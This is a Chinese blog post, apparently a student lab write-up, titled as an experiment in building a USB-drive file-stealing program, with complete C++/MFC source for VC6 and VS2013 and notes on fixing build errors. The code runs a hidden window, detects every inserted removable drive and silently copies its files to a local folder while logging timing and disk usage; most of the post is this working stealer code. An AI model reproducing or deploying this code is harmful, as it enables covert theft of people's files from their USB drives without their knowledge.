美文网首页程序员
实验1-U盘文件的盗取程序实现

实验1-U盘文件的盗取程序实现

作者: yueyue_projects | 来源:发表于2017-03-31 00:59 被阅读399次

    实验一

    • unresolved external symbol __endthreadex错误解决,是因为没有引用MFC类库,解决方案如下:选择Project-Settings--General--Microsoft foundation Classes

    • libcmtd.lib(crt0.obj) : error LNK2001: unresolved external symbol _main Debug/Hello.exe : fatal error LNK1120: 1 unresolved externals解决方案如下:

      [Project] --> [Settings] --> 选择"Link"属性页,在Project Options中将/subsystem:console改成/subsystem:windows

    • showWindow(HWND hWnd, int nCmdShow)函数,第二个参数可以是SH_HIDESH_SHOW,这里因为是盗取文件所以应该SH_HIDE即隐藏对话框

    • 在vs++6.0中,按crtl+B弹出断点对话框,点击removeall

      Paste_Image.png
    • SHFileOperation()函数的方法,该方法返回0值正确,代码如下:

         //取得复制到的目录名称,由于`\` 转义字符的原因,格式要求:\\
        SourcePath.Replace(_T("\\"),_T("\\\\"));
        SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
        SourcePath.SetAt(strlen(SourcePath)+1,'\0');//文件路劲需要以'\0结尾',setAT指在制定位置插入一个字符
        CString DirName = GetDirectoryName() +p_driver.Left(1); 
        p_start=DirName ;
        //创建目录
        CreateDirectory(DestinationPath + '\\' + DirName , NULL); 
        SHFILEOPSTRUCT FileOP;   //声明文件操作结构体
        memset((void *)&FileOP,0,sizeof(FileOP));
        FileOP.hwnd = hwnd;   //句柄
        FileOP.fFlags = FOF_SILENT ; //操作标志位,这里表示不显示进度条
        FileOP.wFunc = FO_COPY;   //操作方式,表示复制操作,还可以进行删除等操作
        FileOP.pFrom = SourcePath;  //源地址,这里的原地址必须符合一定的格式,不然会有各种错误码返回
        CString str = DestinationPath + DirName;  //目的地址
        //执行复制操作
        str.GetBufferSetLength (strlen(str)+2);
        str.SetAt(strlen(str)+1,0);
        FileOP.pTo = str;
        FileOP.fAnyOperationsAborted = false; //是否允许中断操作
        FileOP.hNameMappings = NULL;
        FileOP.lpszProgressTitle = NULL;
        SourcePath.ReleaseBuffer();
        str.ReleaseBuffer();
        int MSG = SHFileOperation(&FileOP); //执行复制操作
        return (MSG==0);
    
    • vc6下环境代码如下
    • 整体代码如下:
    CString DestDirPath="G:\\";//把U盘中的文件复制到D:
    CCriticalSection logfile;
    LRESULT CALLBACK CallWindowProc(
    HWND hwnd,      // handle to window
    UINT uMsg,      // message identifier
    WPARAM wParam,  // first message parameter
    LPARAM lParam   // second message parameter
    );
    void GetMobileDrive();
    bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver);
    CString GetDirectoryName();
    UINT  ProcDriver(LPVOID pParam);
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
    WNDCLASS wndcls;        
    wndcls.cbClsExtra = 0;  //额外分配给窗口类的字节数,系统初始化为0
    wndcls.cbWndExtra = 0;//额外分配给窗口实例的字节数,初始化为0 
    wndcls.hbrBackground = HBRUSH(COLOR_WINDOWTEXT | COLOR_WINDOW); //窗口背景刷
    wndcls.hCursor = LoadCursor(NULL,IDC_NO);;//窗口类的光标句柄
    wndcls.hIcon = LoadIcon(NULL,IDI_WINLOGO);
    wndcls.hInstance = hInstance;
    wndcls.lpfnWndProc = CallWindowProc;//窗口接到消息时调用的函数名称
    wndcls.lpszClassName = "Lijiayang";//窗口的名称
    wndcls.lpszMenuName = 0;
    wndcls.style = CS_HREDRAW | CS_VREDRAW;//定义窗口的样式
    wndcls.style &= ~WS_MINIMIZEBOX;
    RegisterClass(&wndcls);//根据初始化属性注册窗口类
    HWND hwnd;
    hwnd =  CreateWindow("Lijiayang","Copy_File",WS_OVERLAPPEDWINDOW,0,0,
    20,20,NULL,NULL,hInstance,NULL);//创建该窗口
    ShowWindow(hwnd,SW_HIDE);//以隐藏方式显示当前窗口
    UpdateWindow(hwnd);//更新当前窗口
    MSG msg;
    while(GetMessage(&msg,NULL,0,0))
    {
    TranslateMessage(&msg);
    //PeekMessage(&msg,hwnd,0,0,PM_NOREMOVE);
    DispatchMessage(&msg);
    }
    return 0;
    }
    LRESULT CALLBACK CallWindowProc(
    HWND hwnd,      // handle to window
    UINT uMsg,      // message identifier
    WPARAM wParam,  // first message parameter
    LPARAM lParam   // second message parameter
    )
    {
    //HDC hdc;
    switch (uMsg)
    {
    case WM_CLOSE:       //窗口关闭消息   
    DestroyWindow(hwnd);
    break;
    case WM_DESTROY:     //破坏窗口消息
    PostQuitMessage(0);  //立刻回报
    break;
    case WM_DEVICECHANGE:
    {
    switch(wParam)   
    {           
    case DBT_DEVICEARRIVAL:             
    DEV_BROADCAST_HDR *stHDR;
    stHDR = (DEV_BROADCAST_HDR *)lParam;
    switch(stHDR->dbch_devicetype)//判断设备类型
    {
    case DBT_DEVTYP_VOLUME://逻辑卷标
    GetMobileDrive();//取得可移动磁盘盘符存
    //储在strMobileDriver中
    break;
    }
    break;
    default:
    break;
    } 
    break;
    }
    default:
    return DefWindowProc(hwnd,uMsg,wParam,lParam);
    }
    return 0;
    }
    void GetMobileDrive()
    {
    CString l_driver;
    DWORD id = GetLogicalDrives();
    for (int i = 1; i < 26; i++)
    {
    if ((id & (1 << i)) != 0)
    {
    CString l_driver = CString(char('A' + i)) + ":";
    if (GetDriveType(l_driver) == DRIVE_REMOVABLE)
    {
    AfxBeginThread(ProcDriver,(LPVOID)l_driver.GetBuffer(0));//为每个U盘创建一个线程来进行拷贝工作
    Sleep(100);//每100ms执行一次
    }
    }
    }   
    }
    CString GetDirectoryName()
    {
    CString direct;
    CTime t=CTime::GetCurrentTime();
    direct = t.Format("_%Y_%B_%d_%H时%M分%S秒");
    return direct;
    }
    UINT  ProcDriver(LPVOID pParam)
    {
    CString strSourcePath="";
    clock_t start,finish;
    CString strMobileDriver="";//存储可移动磁盘盘符
    CString T_start;
    CString s;
    UINT64 i,j,sy;
    CString totalspace1,freespace1;
    ULARGE_INTEGER   FreeAv,   TotalBytes,   FreeBytes;     
    CString l_driver =(char *) pParam;
    if(GetDiskFreeSpaceEx(l_driver,&FreeAv,&TotalBytes,&FreeBytes))   
    {   
    totalspace1.Format("磁盘%s容量:%uM",  l_driver, TotalBytes.QuadPart/1024/1024);   
    freespace1.Format("剩余磁盘容量:%uM",   FreeBytes.QuadPart/1024/1024);   
    }
    if (!l_driver.IsEmpty() )
    {
    strSourcePath = l_driver + "\\*.*";
    start=clock();
    MyCopyFile(NULL,strSourcePath,DestDirPath,T_start,l_driver);
    }
    finish=clock();
    i=TotalBytes.QuadPart/1024/1024;
    j=FreeBytes.QuadPart/1024/1024;
    sy=i-j;
    CString usespace;
    usespace.Format("%d",sy);
    double  duration;
    CString T_finish;
    //duration = (double)( finish -  start) / CLOCKS_PER_SEC;
    logfile.Lock();
    CTime t=CTime::GetCurrentTime();
    T_finish = t.Format("_%Y_%B_%d_%H时%M分%S秒");
    FILE *out=fopen("D:\\log.txt","a");
    duration = (double)( finish -  start) / CLOCKS_PER_SEC;
    CString str_time,str_time1;
    str_time.Format("用时:%.6fs",duration); 
    s="开始时间"+T_start+"    "+"结束时间"+T_finish+"\n"+"持续"+str_time+"\n";
    s=s+totalspace1+"   "+freespace1+"   "+"文件大小:"+usespace+"M""\n";
    fputs(s,out);
    fclose(out);
    logfile.Unlock();
    return 0;
    }
    bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver)
    {
    //取得复制到的目录名称
    SourcePath.Replace(_T("\\"),_T("\\\\"));
    SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
    SourcePath.SetAt(strlen(SourcePath)+1,'\0');
    CString DirName = GetDirectoryName() +p_driver.Left(1); 
    p_start=DirName ;
    //创建目录
    CreateDirectory(DestinationPath + '\\' + DirName , NULL); 
    //声明文件操作结构体FileOP,设置属性
    SHFILEOPSTRUCT FileOP;   //声明文件操作结构体
    memset((void *)&FileOP,0,sizeof(FileOP));
    FileOP.hwnd = hwnd;   //句柄
    FileOP.fFlags = FOF_SILENT ; //操作标志位
    FileOP.wFunc = FO_COPY;   //操作方式
    FileOP.pFrom = SourcePath;  //源地址
    CString str = DestinationPath + DirName;  //目的地址
    //SourcePath.Replace(_T("\\"),_T("\\\\"));
    //CString str = "G:\\";
    //执行复制操作
    str.GetBufferSetLength (strlen(str)+2);
    str.SetAt(strlen(str)+1,0);
    //str.Replace(_T("\\"),_T("\\\\"));
    FileOP.pTo = str;
    FileOP.fAnyOperationsAborted = false; //是否允许中断操作
    FileOP.hNameMappings = NULL;
    FileOP.lpszProgressTitle = NULL;
    SourcePath.ReleaseBuffer();
    str.ReleaseBuffer();
    int MSG = SHFileOperation(&FileOP); //执行复制操作
    return (MSG==0);
    }
    

    可惜的是以上都是在vc6下的编译环境,因为实验室突然升级成vs2013了,然后我就爆炸了,下面写写调试vs2013的环境的心路历程.

    • 可能会遇到mfc库的错,如下:
    Paste_Image.png

    解决方案如下:

    Paste_Image.png

    即在项目属性页-》常规-》项目默认值中选择共享DLL中使用MFC

    • 在vs 2013下是Unicode类型,需要很多的转换函数比如CString->char*,使用下面的函数
    char* csToChar(CString str)
    {
        char *ptr;
    #ifdef _UNICODE
        LONG len;
        len = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
        ptr = new char[len + 1];
        memset(ptr, 0, len + 1);
        WideCharToMultiByte(CP_ACP, 0, str, -1, ptr, len + 1, NULL, NULL);
    #else
        ptr = new char[str.GetAllocLength() + 1];
        sprintf(ptr, _T("%s"), str);
    #endif
        return ptr;
    }
    

    还有什么wndcls.lpszClassName需要的是wchar_t*类型的指针,需要在字符串前加个L,如下
    wchar_t* name = L"Lijiayang";

    • 对了还有一个需要注意afxmt.hstdafx.h中有一个包即'window.h'重复了,错误如下:
    Paste_Image.png

    解决方案如下注释掉stdafx.h中window.h:

    Paste_Image.png
    • 可能还会遇到一个错,是关于安全问题的。如下
    Paste_Image.png

    解决方案:
    项目 =》属性 =》c/c++ =》预处理器=》点击预处理器定义,编辑,加入_CRT_SECURE_NO_WARNINGS,即可。

    • vs2013下的目录结构如下:
    Paste_Image.png

    源代码如下

    #include "stdafx.h"
    #include "Win32Project3.h"
    #include "afxmt.h"
    #include "Afxwin.h"
    //#include <afx.h>
    #include <dbt.h>
    #include <shellapi.h>
    #include <time.h>
    #include "math.h"
    #include <stdio.h>
    CString DestDirPath = "E:\\";//把U盘中的文件复制到D:
    CCriticalSection logfile;
    void GetMobileDrive();
    bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath, CString & p_start, CString p_driver);
    CString GetDirectoryName();
    UINT  ProcDriver(LPVOID pParam);
    char* csToChar(CString str);
    char* csToChar(CString str)
    {
        char *ptr;
    #ifdef _UNICODE
        LONG len;
        len = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
        ptr = new char[len + 1];
        memset(ptr, 0, len + 1);
        WideCharToMultiByte(CP_ACP, 0, str, -1, ptr, len + 1, NULL, NULL);
    #else
        ptr = new char[str.GetAllocLength() + 1];
        sprintf(ptr, _T("%s"), str);
    #endif
        return ptr;
    }
    LRESULT CALLBACK CallWindowProc(
        HWND hwnd,      // handle to window
        UINT uMsg,      // message identifier
        WPARAM wParam,  // first message parameter
        LPARAM lParam   // second message parameter
        )
    {
        //HDC hdc;
        switch (uMsg)
        {
        case WM_CLOSE:       //窗口关闭消息   
            DestroyWindow(hwnd);
            break;
        case WM_DESTROY:     //破坏窗口消息
            PostQuitMessage(0);  //立刻回报
            break;
        case WM_DEVICECHANGE:
        {
            switch (wParam)
            {
            case DBT_DEVICEARRIVAL:
                DEV_BROADCAST_HDR *stHDR;
                stHDR = (DEV_BROADCAST_HDR *)lParam;
                switch (stHDR->dbch_devicetype)//判断设备类型
                {
                case DBT_DEVTYP_VOLUME://逻辑卷标
                    GetMobileDrive();//取得可移动磁盘盘符存
                    //储在strMobileDriver中
                    break;
                }
                break;
            default:
                break;
            }
            break;
        }
        default:
            return DefWindowProc(hwnd, uMsg, wParam, lParam);
        }
        return 0;
    }
    int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                         _In_opt_ HINSTANCE hPrevInstance,
                         _In_ LPTSTR    lpCmdLine,
                         _In_ int       nCmdShow)
    {
        WNDCLASS wndcls;
        wndcls.cbClsExtra = 0;  //额外分配给窗口类的字节数,系统初始化为0
        wndcls.cbWndExtra = 0;//额外分配给窗口实例的字节数,初始化为0 
        wndcls.hbrBackground = HBRUSH(COLOR_WINDOWTEXT | COLOR_WINDOW); //窗口背景刷
        wndcls.hCursor = LoadCursor(NULL, IDC_NO);;//窗口类的光标句柄
        wndcls.hIcon = LoadIcon(NULL, IDI_WINLOGO);
        wndcls.hInstance = hInstance;
        wndcls.lpfnWndProc = CallWindowProc;//窗口接到消息时调用的函数名称
        wchar_t* name = L"Lijiayang";
        wndcls.lpszClassName = name;//窗口的名称
        wndcls.lpszMenuName = 0;
        wndcls.style = CS_HREDRAW | CS_VREDRAW;//定义窗口的样式
        wndcls.style &= ~WS_MINIMIZEBOX;
    
        RegisterClass(&wndcls);//根据初始化属性注册窗口类
    
        HWND hwnd;
        hwnd = CreateWindow(name, L"Copy_File", WS_OVERLAPPEDWINDOW, 0, 0,
            20, 20, NULL, NULL, hInstance, NULL);//创建该窗口
    
        ShowWindow(hwnd, SW_HIDE);//以隐藏方式显示当前窗口
        UpdateWindow(hwnd);//更新当前窗口
    
        MSG msg;
        while (GetMessage(&msg, NULL, 0, 0))
        {
            TranslateMessage(&msg);
            //PeekMessage(&msg,hwnd,0,0,PM_NOREMOVE);
            DispatchMessage(&msg);
        }
    
        return 0;
    }
    void GetMobileDrive()
    {
        CString l_driver;
        DWORD id = GetLogicalDrives();
        for (int i = 1; i < 26; i++)
        {
            if ((id & (1 << i)) != 0)//检查盘符是否存在,id每一位对应了一个逻辑驱动器是否存在。第二位如果是“1”则表示驱动器“B:”存在,第四位如果是“1”则表示驱动器“D:”存在
            {
                CString l_driver = CString(char('A' + i)) + ":";
                if (GetDriveType(l_driver) == DRIVE_REMOVABLE)
                {
                    AfxBeginThread(ProcDriver, (LPVOID)l_driver.GetBuffer(0));//为每个U盘创建一个线程来进行拷贝工作,LVPVOID可以看做java中Object类.
                    Sleep(100);//每100ms执行一次
                }
            }
        }
    }
    
    CString GetDirectoryName()
    {
        CString direct;
        CTime t = CTime::GetCurrentTime();
        direct = t.Format("_%Y_%B_%d_%H时%M分%S秒");
        return direct;
    }
    
    
    UINT  ProcDriver(LPVOID pParam)
    {
        CString strSourcePath = "";
        clock_t start, finish;
        CString strMobileDriver = "";//存储可移动磁盘盘符
        CString T_start;
        CString s;
        UINT64 i, j, sy;
        CString totalspace1, freespace1;
        ULARGE_INTEGER   FreeAv, TotalBytes, FreeBytes;
        CString l_driver = (char *)pParam;
        if (GetDiskFreeSpaceEx(l_driver, &FreeAv, &TotalBytes, &FreeBytes))
        {
            totalspace1.Format(L"磁盘%s容量:%uM", l_driver, TotalBytes.QuadPart / 1024 / 1024);
            freespace1.Format(L"剩余磁盘容量:%uM", FreeBytes.QuadPart / 1024 / 1024);
        }
        if (!l_driver.IsEmpty())
        {
            strSourcePath = l_driver +":\\abc.txt";
            start = clock();
            MyCopyFile(NULL, strSourcePath, DestDirPath, T_start, l_driver);
        }
        finish = clock();
        i = TotalBytes.QuadPart / 1024 / 1024;
        j = FreeBytes.QuadPart / 1024 / 1024;
        sy = i - j;
        CString usespace;
        usespace.Format(L"%d", sy);
        double  duration;
        CString T_finish;
        //duration = (double)( finish -  start) / CLOCKS_PER_SEC;
        logfile.Lock();
        CTime t = CTime::GetCurrentTime();
        T_finish = t.Format("_%Y_%B_%d_%H时%M分%S秒");
        FILE *out = fopen("E:\\log.txt", "a");
        duration = (double)(finish - start) / CLOCKS_PER_SEC;
        CString str_time, str_time1;
        str_time.Format(L"用时:%.6fs", duration);
        s = "开始时间" + T_start + "    " + "结束时间" + T_finish + "\n" + "持续" + str_time + "\n";
        s = s + totalspace1 + "   " + freespace1 + "   " + "文件大小:" + usespace + "M""\n";
        fputs(csToChar(s), out);
        fclose(out);
        logfile.Unlock();
        return 0;
    }
    
    
    bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath, CString & p_start, CString p_driver)
    {
        //取得复制到的目录名称
        char* source_path = csToChar(SourcePath);
        //SourcePath.GetBuffer(SourcePath.GetLength());
        SourcePath.GetBufferSetLength(strlen(source_path) + 2);
        SourcePath.SetAt(strlen(source_path) + 1, '\0');
        CString DirName = GetDirectoryName() + p_driver.Left(1);
        p_start = DirName;
        //创建目录
        CreateDirectory(DestinationPath + DirName, NULL);
        //声明文件操作结构体FileOP,设置属性
        SHFILEOPSTRUCT FileOP;   //声明文件操作结构体
        memset((void *)&FileOP, 0, sizeof(FileOP));
        FileOP.hwnd = hwnd;   //句柄
        FileOP.fFlags = FOF_SILENT; //操作标志位
        FileOP.wFunc = FO_COPY;   //操作方式
        FileOP.pFrom = SourcePath;  //源地址
        CString str = DestinationPath + DirName;  //目的地址
        char* DestPath = csToChar(str);
        //执行复制操作
        str.GetBufferSetLength(strlen(DestPath) + 2);
        str.SetAt(strlen(DestPath) + 1, '\0');
        FileOP.pTo = str;
        FileOP.fAnyOperationsAborted = false; //是否允许中断操作
        FileOP.hNameMappings = NULL;
        FileOP.lpszProgressTitle = NULL;
        SourcePath.ReleaseBuffer();
        str.ReleaseBuffer();
        int MSG = SHFileOperation(&FileOP); //执行复制操作
        return (MSG == 0);
    }
    
    

    相关文章

      网友评论

        本文标题:实验1-U盘文件的盗取程序实现

        本文链接:https://www.haomeiwen.com/subject/aedmottx.html